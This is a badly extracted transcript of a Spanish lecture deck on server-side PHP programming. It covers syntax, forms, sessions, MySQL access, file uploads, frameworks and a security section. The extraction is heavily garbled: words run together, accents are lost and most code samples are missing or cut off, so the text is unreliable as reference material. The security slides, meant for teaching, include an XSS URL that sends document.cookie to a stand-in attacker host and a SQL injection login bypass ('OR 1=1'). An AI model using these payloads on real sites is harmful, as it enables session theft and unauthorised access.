Tema 3. Programacion Del Lado Del Servidor Utilizando PHP
-
Upload
edgar-mollo-flores -
Category
Documents
-
view
234 -
download
0
description
Transcript of Tema 3. Programacion Del Lado Del Servidor Utilizando PHP
-
15/09/2014
1
Ing Carlos David Montellano BarrigaIng.CarlosDavidMontellano Barriga
Hypertext PreprocessorOriginalmenteseconocacomoPersonalHomePage
ProcesamientodelLadodelServidor QueesPHP? Ides paraPHP Sintaxis del Lenguaje PHPSintaxisdelLenguajePHP ManejodeCadenas FuncionesyLibreras EnvidedatosmedianteGET,POST ProgramacinOrientadaaObjetosconPHP SesionesyCookies AccesoaBasedeDatos ManejodeArchivos Seguridad EnvideCorreos GrficosenPHP Frameworks enphp
-
15/09/2014
2
Cliente enva una peticin al Servidor Web utilizando http
Servidor deriva solicitud
Tecleamos una direccin URLen el navegadorwww.usfx.edu.bo
Servidor devuelve en lenguaje html solicitada utilizando http
Servidor procesa Solicitud y genera dinmicamente archivo en html
El navegador se encarga de interpretar el cdigo html y mostrar el resultado
Lenguajedeprogramacininterpretado DesarrolladoparafuncionarenelWebypuedeserincrustadodentrodecdigoHTML.
IngresaCdigoPHPcomosuentradaycreandopginasWebcomosalida.
-
15/09/2014
3
LenguajeMultiplataforma Capacidaddeconexinconmayoramanejadoresdebasede
datos. Destaca su conectividad con MySQL.datos.DestacasuconectividadconMySQL. Capacidaddeexpandirsupotencial(llamadosext's o
extensiones). FcildeAprender,existeampliadocumentacin
funcionesdelsistemaestnexplicadasensusitiooficialwww.php.org RpidaEjecucin ServidoresPHPsonestables,fcilesdemantenerymasy
baratos. PHPtieneunainfinidaddelibrerasyframeworks ytodasson
gratuitas. PHPesmssencillodeaprender.
-
15/09/2014
4
Eslibre,porloquesepresentacomounaalternativadefcilaccesoparatodos.
PermitelastcnicasdeProgramacinOrientadaaObjetos.
PHP
Php esunleguajeinterpretado(elservidorinterpretaelcdigocadavezquelovaautilizar)locualafectaasurendimiento.
Php dependedequesucomunidadreaccionedealgunauotramaneraantelosreportesdebugs.
Velocidaddedesarrollo:.PHPesrpidosiseusaalgnframework.
Lalegibilidaddelcdigopuedeverseafectada.
-
15/09/2014
5
IDES
IDEs(Integrated Development Environment)=EntornosdeDesarrolloIntegrados
PDT,plugin Eclipse:GPL (Sun). NetBeans: (instalar plugin para php) libre para linux y windows NetBeans:(instalarplugin paraphp)libre,paralinux ywindows. Zend Studio:Comercial (Zend). Komodo IDE:Komodo Edit,libreygratuito,elIDEeslicenciacomercial
(Mozilla). NuSphere PhpED:Comercial,paralinux ywindows. Quanta:GPLygratuito,paraGNU/linux conQT. Bluefish:GPLygratuito,paraGNU/linux conGTK. phpDesigner:ComercialyFreeware,paralinux ywindows. RapidPHP:Comercial,parawindows. Dream weber:Adobe
Dokuwiki Drupal
PmWiki Zikula (anteriormente
Facebook Joomla MediaWiki Moodle Phorum phpMyAdmin
llamadoPostNuke) Smarty SPIP SugarCRM vBulletin WordPress
X PHPNuke phpPgAdmin PhpWiki
Xaraya Xoops Joomla MODx SMF
-
15/09/2014
6
EjemplodePHP
primer.php
PartedeHTMLnormal.
Todaslasvariablescomienzanconelsmbolodeldlar$ Noesnecesariodefinirunavariableantesdeusarla. Tampocotienentipos,esdecirqueunamismavariablepuede
contenerunnmeroyluegopuedecontenercaracteres.EjemplodePHP
-
15/09/2014
7
$nombrematriz =array(); Esposibleasignarsusvalores
$vocales = array ('a','e','i','o','u'); Luegoparaacceder
$vocales[2]='i';echo$vocales[1];echo$vocales[3];$ [ ];
//Comentartexto /* Comentartextodemuchaslineas */ # Comentartexto
-
15/09/2014
8
Operadores Aritmticos Operadores Relacionales
Operadores LgicosOperador Descripcin
A i
Operadores de Asignacin
= Asigna
+= Adiciona y asigna
= Resta y asigna* = Multiplica y asigna
/ = Divide y asigna
%= Obtiene el resto y asigna
. = Concatena y asigna
if (){ ; }
Else{ ; }
switch (){
case : < declaraciones >;[break;]
case : < declaraciones >;[break;]
default: < declaraciones >;}mayor.php
casos phpEjemplodePHP
break;case"abajo": //Bloque2echo"Lavariablecontiene";echo"elvalorabajo";break;
default: //Bloque3echo"Lavariablecontieneotrovalor";echo"distintodearribayabajo";
}?>
-
15/09/2014
9
Ejemplo de PHP
for (;;){
;}
while (){
< declaraciones >;}
numeros.php mientras.php
EjemplodePHPInicioFinal
EjemplodePHPInicioFi l BR
Final
foreach ( as [ | => ]){
;[break];[continue];
}
vocales2.php
/* Es equivalente a realizar */ for ($i=0;$i
?>
-
15/09/2014
10
Hastaahorahemosusadolainstruccinechopararealizarsalidaapantalla,estainstruccinesbastantelimitadayaquenonospermiteformatearlasalida.Enestapginaveremoslainstruccinprintf quenosdamuchamspotencia
h lsalidas.php
EjemplodePHP
strlen(cadena).Nosdevuelveelnmerodecarcteres deunacadena.
explode(separador cadena) Divide una cadena en varias explode(separador,cadena).Divideunacadenaenvariasusandouncarcterseparador.
substr(cadena,inicio,longitud).Devuelveunasubcadena deotra,empezandoporinicioydelongitudlongitud.
chop(cadena).Eliminalossaltosdelneaylosespaciosfinalesdeunacadena.
strpos(cadena1,cadena2).Buscalacadena2dentrodecadena1indicndonoslaposicinenlaqueseencuentra.
str_replace(cadena1,cadena2,texto).Reemplazalacadena1porlacadena2eneltexto.
-
15/09/2014
11
EjemplodePHP
function Nomre(parametro1,parametro2...){instruccin1;instruccin2;return valor_de_retorno;
}
EjemplodePHP
-
15/09/2014
12
PermitenagruparvariasfuncionesyvariablesenunmismoficheroPodemosincluirlibrerasendistintaspginasydisponerdeesasfuncionesfcilmente
Estacabeceraestarentodas
suspginas.
Pgina1
libreria.phppagina.php
{?>Esteeselpiede
pgina.Autor:CarlosMontellano
Contenidoblalbl blalb albmscosas...fin
EjemplodePHP
formulario.html
recibir phpj p /EjemplodeprocesadodeformulariosIntroduzcasunombre:
-
15/09/2014
13
Arraysnumricos elndiceesnumrico,de0enadelanteEj l d d Ejemplodeunarrayencadena
$ciencias=array(Fsica,Qumica,Biologa); Ejemplodeunarrayporndice
$ciencias[0]=Fsica;$ciencias[1]=Qumica;$$ciencias[2]=Biologa;
Ejemplo deunarrayuno tras otro$ciencias[]=Fsica;$ciencias[]=Qumica;$ciencias[]=Biologa;
Paraconsultar unvalorprint $ciencias[0]print$ciencias[0];
-
15/09/2014
14
A|B|C|D|E|FG|H|I|J|K|L
$array[0][0]=A$array[0]=array quecontienelosvaloresA|B|C|D|E|F$array[1]=array quecontienelosvaloresG|H|I|J|K|L$array[0][1]=B,$array[0][2]=C,$array[0][3]=D
$columnas=7;$filas = 3;
rellenar.php
$filas 3;for($i=0;$i
-
15/09/2014
15
Estructura deuna claseclass []{
[var |][];[]function ([]){
;}
}*ModificadoresestnimplementadosenPHP5. Acceso a propiedades y mtodos dentro
Declararyusarclases$variable=newnombre_clase ();$ ()$variable> funcion_nombre ();nombre_clase ::funcion_nombre();(Llamadaesttica).
-
15/09/2014
16
Mtodoqueseejecutaalinstanciarlaclase,parainiciarpropiedades
-
15/09/2014
17
//'extends'eslapalabraclavequepermitelaherenciaclass empleadoextends persona{function __construct($nombre_empleado){$this>set_name($nombre_empoleado);}}
HTTPsinestado ConexionespormediodeHTTPnomantienenunpestado.
Nosepuedenmantenervariablesenlaconexin. Sehaninventadomecanismosparatenerunaespeciedeestado,
cookies,quepermitenguardarunestadodelladodel, q p gcliente
lassesiones,quepermitenguardarunestadodelladodelservidor.
-
15/09/2014
18
ServidorcuandoregresaunobjetoHTTPalclientepuedeenviartambinunpaquetedeinformacindeestadoqueelcliente va a almacenar de manera persistenteclientevaaalmacenardemanerapersistente.
IncluidoconeseestadoseencuentraunrangodeURLs paraloscualeseseestadoesvlido.
CualquiersolicitudHTTPfuturahechaporelclientequecaigadentrodetalrangovaaincluirunatransmisindelvaloractualdelobjetodesdeelclientealservidor.
Funcinsetcookie defineunacookieparaserenviadaconlainformacindeencabezado.
Debe ser enviada antes de cualquier otra informacin de Debeserenviadaantesdecualquierotrainformacindeencabezado.
Sintaxis: int setcookie (string name,string value,int expire,string path,string
domain,int secure)
-
15/09/2014
19
PHPtieneapoyoparaconservarestadoconsesiones. Sesionesmantienenvariablesenelladodelservidor. Acadavisitantequeaccedealapginaseleasignaunidentificadornico,llamado"session id"(identificadordesesin).
stesealmacenaenunacookieporpartedelusuarioosepropagaenlaURL(mtodoGET).
Permiteregistrarunnmeroarbitrariodevariablesqueseconservarnenlassiguientessolicitudes.
pagina.php
S h SISehaenviadosession_id
recreanlasvariablesquesehabanguardado
anteriormente
Creasession id
SI
NO
-
15/09/2014
20
borrarunavariablecon$_SESSION:borrarsesion php
borrarsesion.php
-
15/09/2014
21
PHP permite el acceso a las siguientes bases de datos:
dbase dbm db++ FrontBase filePro
mSQL Mysql Oracle OvrimosSQLServerP t SQL
datos:
Informix InterBase IngresII SQLServer
PostgreSQL SESAM Sybase
PHPtambintieneinterfacesabstractas: DBA(DataBase Abstraction) DBX ODBC
PginaPHP Base de
datos
orden SQL
resultado
-
15/09/2014
22
MySQL esunsistemadebasesdedatosdesarrolladooriginalmenteporMySQL AB.Actualmentela
lcontrolaORACLE ElsistemadebasesdedatossedabajolicenciaGPLqueesunalicenciadesoftwarelibreosevendebajounalicenciacomercial.
CaractersticasdeMySQL Modelorelacional,multiusuario
TiposdedatosNumricos Numricos
tinyint,smallint,mediumint,int,integer,bigint decimal,float,numeric
Fechayhora date,time,datetime,year,timestamp
Cadena char,varchar tinytext,text,mediumtext,longtext tinyblob,blob,mediumblob,longblob enum set enum,set
Debeelegirseadecuadamenteeltipoyeltamaodecadacampo
-
15/09/2014
23
Operadores Aritmticos
+,,*,/ ComparacinComparacin
=,!=,,ISNULL,ISNOTNULL Lgicos
not (!),and(&&),or (||),xor Funciones
Funcionesdecadena Funcionesdecomparacindecadenas Funcionesnumricas Funcionesdefechayhora Funcionesdeagregado
phpMyAdmin esunaherramientaparalaadministracindelservidordebasesdedatosMySQL
Disponedeunainterfazgrficayesdelibredistribucin Permiterealizartodotipodeoperacionessobrebasesde
datos: crear,borrarymodificartablas consultar,insertar,modificaryeliminardatos definirusuariosyasignarpermisos realizarcopiasdeseguridad etc
E i h j d d l d Estescritaenphp yseejecutadesdeelnavegador Puedeadministrarbasesdedatoslocalesyremotas
-
15/09/2014
24
LasfuncionesconcretasdeMySQLquerealizanestasoperaciones son: Conectarconelservidordebasesdedatos:
mysql_connect() Seleccionarunabasededatos:
mysql_select_db() EnviarlainstruccinSQLalabasededatos:
mysql_query() Obteneryprocesarlosresultados:
mysql_num_rows()ymysql_fetch_array() Cerrarlaconexinconelservidordebasesdedatos:
mysql_close()
-
15/09/2014
25
4 Consulta
Cerrar conexion
-
15/09/2014
26
listar.php
NombresDireccionTelefonoEmailCelular
Nombres
" " " " " "
finsertar.html
DireccinTelefono EmailCelular
-
15/09/2014
27
Nombres
-
15/09/2014
28
Elementoeliminadoconexito
Copiar: Funcionestiles
copy($origen,$destino) Renombrar:
rename($antes,$despues) Eliminar:
unlink($archivo) unlink($archivo)
-
15/09/2014
29
-
15/09/2014
30
Lecturadearchivos variable=fgets(file_handler, longitud)
Lee una lnea de texto hasta el fin de lnea o bien hasta que se cumpla la longitud indicada.
variable=fread(file_handler, cantidad) Lee la cantidad de bytes indicados ignorando saltos de lnea.
Escrituradearchivos fwrite(file_handler, variable, longitud);
Escribe la variable al file_handler. longitud (opcional) se escribirn tantos bytes como la longitud
indicada o como la longitud de la variable,devuelve la cantidad de bytes escritos en el archivo.
Cierre de archivos fclose(file_handler)
Cierra un archivo abierto con fopen. Fin de archivo boolean = feof(file_handler);
Devuelve verdadero si no quedan ms bytes para leer en el archivo o si se produce algn tipo de error al leer.
-
15/09/2014
31
Muchasvecesseenviarunarchivoalservidorjuntoconlapeticinhttp
El archivo debe ser enviado mediante el mtodo POST ElarchivodebeserenviadomedianteelmtodoPOST Existeuntipoespecialdeinputparaestetipofile.
ALformulariosedebeespecificarelatributoparaquetengalacapacidaddeenviararchivos
t " lti t/f d t " enctype="multipart/form-data"
-
15/09/2014
32
MAX_FILE_SIZE:Palabra reservada: Mximtamao del fichero(en bytes). Debera de compel servidor.
Entrada de Fichero
Unavezenelservidor,elarchivosealmacenaenundirectoriotemporal.
La informacin del archivo es recibida en la variable $ FILES[] Lainformacindelarchivoesrecibidaenlavariable$_FILES[]conelnombredelinput $_FILES[nombre][name]:Nombreoriginaldelarchivodelcliente $_FILES[nombre][tmp_name]:Nombredelarchivotemporalenel
servidor. $_FILES[nombre][type]:Tipodearchivo $ FILES[nombre][size]:Tamaoenbytesdelarchivo.$_ [ ][ ] y $_FILES[nombre][error]:Errorasociadoal archivo.
Enbaseaestainformacinsedecidequehacerconelarchivorecibido
-
15/09/2014
33
Ficherophp.ini:Permitir subir ficheros al servidorPermitirsubirficherosalservidor
file_uploads =On Seleccionamosundirectoriotemporalparalosarchivos
upload_tmp_dir:carp_temp/Tamao mximo de los archivos Tamaomximodelosarchivos.
upload_max_filesize =2M
-
15/09/2014
34
UngranpoderconllevaUnagranresponsabilidad
display_errors =Off log_errors =On error reporting = E ALL (reportar errores) error_reporting =E_ALL(reportar errores) session.save_path=/opt/php/session
session.gc_maxlifetime=600(10minutos deinactividad) safe_mode =On(activar si es posible) safe_mode_gid =On(activesi es posible)
-
15/09/2014
35
register_globals = Off Nunca colocar en on , porque es facil escribir codigo
inseguro Inicializa automaticamente variables desde Get/Post/Cookie Inicializa automaticamente variables desde Get/Post/Cookie
data
URL= index.php?administrator=xyz
Seaprovechandelaconfianzadelusuarioenlaaplicacin ELPROBLEMA Como no tratamos la entrada del usuario de ninguna forma, dejamos laComonotratamoslaentradadelusuariodeningunaforma,dejamosla
puertaabiertaaquesemuestrecualquiertipodecdigoHTMLennuestrapgina.
Usuario:Contrasea:
formxss.php
Pueden serpresistentes onopersistentes
http://localhost/index.php?mensaje=document.location='http://atacante.com/captura.php?cookies='+document.cookie
-
15/09/2014
36
Explotalaconfianzadeunsitiowebenunusuario LavctimadelataquelanzaunapeticinHTTPsinsaberlo,normalmenteaURLs
Querequierendeunaccesoprivilegiado. ElescapadoevitarquetuaplicacinsirvadevehculoparaataquesCSRFperonoevitarquelosrecibas.
-
15/09/2014
37
usuario:
contrasea:
Formlogin.html
contrasea:
$usuario=$_POST[usurio'];$password =$_POST['password'];$sql = SELECT * FROM usuarios
autenticar.php
$sql SELECT FROMusuariosWHEREusuario='{$usuario}'ANDpassword ='{$password}';//Continuamosconelrestoif(count($results)>0){//login }
SELECT*FORM iFORMusuariosWHEREusuario='adm'OR1=1 ANDpassword ='contrasea'
-
15/09/2014
38
SloexisteunafuncinparaenviarcorreoelectrnicodesdePHP5.
Lafuncinmail()devolverunvalortruesilosdatossonenviadoscorrectamente.
-
15/09/2014
39
PHPMailer estbasadoenprogramacinorientadaaobjetos.
ContienevariosficherosquedebenguardarseeneldirectoriodePHPdedicadoalibrerasoennuestroespaciodetrabajo.
LalibreragrficaGDestescritaenlenguajeCypermitecrearymanipulargrficosfcilmente.
Permiteimportaryexportargrficosdedistintotipo(GIF,JPGyPNG)
-
15/09/2014
40
Esunmecanismodeseguridadparaevitarllenaoautomatico deformularios
-
15/09/2014
41
El modelo representa la informacin con la que trabaja la aplicacin es decir su lgica dela aplicacin, es decir, su lgica de negocio.2. La vista transforma el modelo en una pgina web que permite al usuario interactuar con ella.3. El controlador se encarga de procesar las interacciones del pusuario y realiza los cambios apropiados en el modelo o en la vista.
LosFrameworks ayudaneneldesarrollodesoftware Proporcionanunaestructuradefinidalacualayudaacrear
aplicaciones con mayor rapidezaplicacionesconmayorrapidez SeutilizalaProgramacinOrientadaaObjetos(POO),
permitiendolareutilizacindenuestrocdigo
-
15/09/2014
42
Zend Framework Essimple,nonecesitainstalacinespecial,requierePHP5e incorpora el patrn MVCeincorporaelpatrnMVC.
Sedebe descargar ycopiarlohacianuestroservidorlocal,veamosatravsdeunpequeoejemplocmopodemoscrearunlectordeRSS.Losficherosquecreemospodemoscopiarlosdentrodeldirectoriolibrary.
Symfony Diseadoconelobjetivodeoptimizarlacreacindelas
li i b l d iaplicacionesweb,conelusodesuscaractersticas. Poseeunalibreradeclasesquepermitenreducireltiempodedesarrollo.
DesarrolladoenPHP5,sepuedeutilizarenplataformas*nix (Unix,Linux)yWindows.
Requieredeunainstalacin,configuracinylneasdeq , g ycomando,incorporaelpatrnMVC,soportaAJAX,plantillasyungrannmerodebasesdedatos.
-
15/09/2014
43
PHPPrado CakePHP Qcodo Kumbia PHP4ECore CodeIgniter Yii Framework TomatesFramework